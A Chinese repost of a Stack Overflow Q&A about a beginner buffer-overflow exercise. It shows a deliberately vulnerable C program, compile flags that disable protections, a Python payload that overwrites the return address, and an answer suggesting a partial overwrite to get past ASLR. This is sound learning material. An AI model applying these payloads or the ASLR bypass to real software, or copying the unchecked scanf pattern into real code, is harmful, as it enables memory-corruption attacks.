gpt4 book ai didi

c - 在程序运行时传递缓冲区溢出利用字符串?

转载 作者:行者123 更新时间:2023-12-05 03:29:44 26 4
gpt4 key购买 nike

我正在做一个非常简单的缓冲区溢出示例,我有这段代码:

#include <stdio.h>

void secretFunction()
{
printf("Congratulations!\n");
printf("You have entered in the secret function!\n");
}

void echo()
{
char buffer[20];

printf("Enter some text:\n");
scanf("%s", buffer);
printf("You entered: %s\n", buffer);
}

int main()
{
echo();

return 0;
}

首先,我在没有堆栈保护的情况下编译这个文件,并关闭了 aslr:

gcc buf.c -o vuln_nostack -fno-stack-protector -m32 -no-pie

为了利用这一点,我们只想注入(inject) secret 函数的内存地址,以便我们可以运行它。这可以通过使用生成输入的 python 运行文件来完成:

 $ python -c 'print "a"*32 + "\xd6\x91\x04\x08"' | ./vuln_nostack 
Enter some text:
You entered: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa֑
Congratulations!
You have entered in the secret function!
Segmentation fault (core dumped)

这会触发我的 secret 功能。所以这有效。

但现在的问题是我也想使用aslr,所以我想在程序开始时输出 secret 函数的地址,然后让恶意输入依赖于此。出于这个原因,我想通过向程序输入任何内容来等待,直到我看到它打印给我的内容。

但是如果我现在运行程序,我只是在程序运行时手动输入:

./vuln_nostack
Enter some text:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa֑\xd6\x91\x04\x08
You entered: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa֑\xd6\x91\x04\x08
Segmentation fault (core dumped)

然后它只是正确地处理了我的输入,并且该值没有溢出。发生段错误,说明发生了一些事情,但与我的 secret 功能的方向不同

我对溢出很陌生,当 python 生成的输入实际起作用时,我真的不明白为什么会发生这种情况。

所以我的问题是是否有一种方法可以在程序运行时“手动”执行这个简单的溢出。或者,如果我需要编写一些脚本(也许是 python)来与这个错误的程序交互并在它运行时为其提供正确的输入?

最佳答案

你说你的输入在第二个例子中被正确处理,但事实并非如此,你可以看到在你第二次运行程序时,你遇到了段错误,这意味着你访问的内存不能'不会被引用(由于错误的内存保护或无效的内存地址)。

您在第二次运行时未能跳转到 secretFunction() 的原因是您假设 scanf 将转义的 unicode 值解析为 unicode,但是当您输入“\xd6”时,它没有被解析为 unicode 值,而是它被解析为 4 个字符 '' 'x' 'd' '6'。当您在 32 位机器上运行时,这是程序尝试执行的地址,这可能会导致段错误,因为该内存很可能无效也不可执行。

只是关于在运行程序并查找程序加载到的地址后如何在不连接 gdb 的情况下克服 ASLR 的想法 - 你可以尝试只溢出低 2 个字节,就好像我没有弄错只有 2 个高字节一样字节使用 ASLR 随机化,因此您只需要溢出即使使用 ASLR 也保持不变的“偏移量”。

这里有一些关于堆栈溢出的学习资料: https://insecure.org/stf/smashstack.html

关于c - 在程序运行时传递缓冲区溢出利用字符串?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/70956106/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com